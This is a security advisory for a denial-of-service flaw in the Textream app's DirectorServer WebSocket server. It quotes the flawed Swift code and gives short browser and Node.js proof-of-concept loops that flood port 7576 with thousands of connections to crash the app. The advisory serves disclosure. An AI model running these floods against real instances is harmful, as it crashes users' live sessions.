Skip to content

Uncontrolled Resource Consumption (Denial of Service)

Moderate
f published GHSA-qr5p-7x47-qxh9 Feb 27, 2026

Package

No package listed

Affected versions

All versions

Patched versions

None

Description

Summary

The DirectorServer WebSocket server imposes no limit on concurrent connections. Combined with a broadcast timer that sends state to all connected clients every 100 ms, an attacker can exhaust CPU and memory by flooding the server with connections, causing the Textream application to freeze and crash during a live session.

Details

In DirectorServer.swift, handleWSConnection() appends every incoming connection to an unbounded array with no upper limit enforced:

// DirectorServer.swift – handleWSConnection()
private func handleWSConnection(_ conn: NWConnection) {
    conn.start(queue: .main)
    wsConnections.append(conn)  // ⚠️ No connection limit
    receiveWSMessage(conn)
    ...
}

The startBroadcasting() timer fires every 100 ms and iterates over the entire wsConnections array, JSON-encoding and sending a DirectorState payload to each client:

// DirectorServer.swift – broadcast()
private func broadcast(_ state: DirectorState) {
    guard !wsConnections.isEmpty,
          let data = try? JSONEncoder().encode(state) else { return }
    let meta = NWProtocolWebSocket.Metadata(opcode: .text)
    let ctx = NWConnection.ContentContext(identifier: "ws", metadata: [meta])
    for conn in wsConnections {          // ⚠️ Iterates all connections
        conn.send(content: data, contentContext: ctx, completion: .idempotent)
    }
}

With N simultaneous connections, the app performs N × 10 send operations per second on the main queue. At a few thousand connections this saturates the main run loop, blocking the UI thread and causing a crash.

Proof of Concept

Run the following from a browser developer console while Director Mode is active:

// Browser PoC – open 3000 connections
for (let i = 0; i < 3000; i++) {
  new WebSocket('ws://127.0.0.1:7576');
}

Or from Node.js:

// Node.js PoC
const WebSocket = require('ws');
for (let i = 0; i < 5000; i++) {
  try { new WebSocket('ws://127.0.0.1:7576'); } catch (_) {}
}

Within seconds the Textream application becomes unresponsive (spinning beachball on macOS) and subsequently crashes.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-28412

Weaknesses

Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource. Learn more on MITRE.

Credits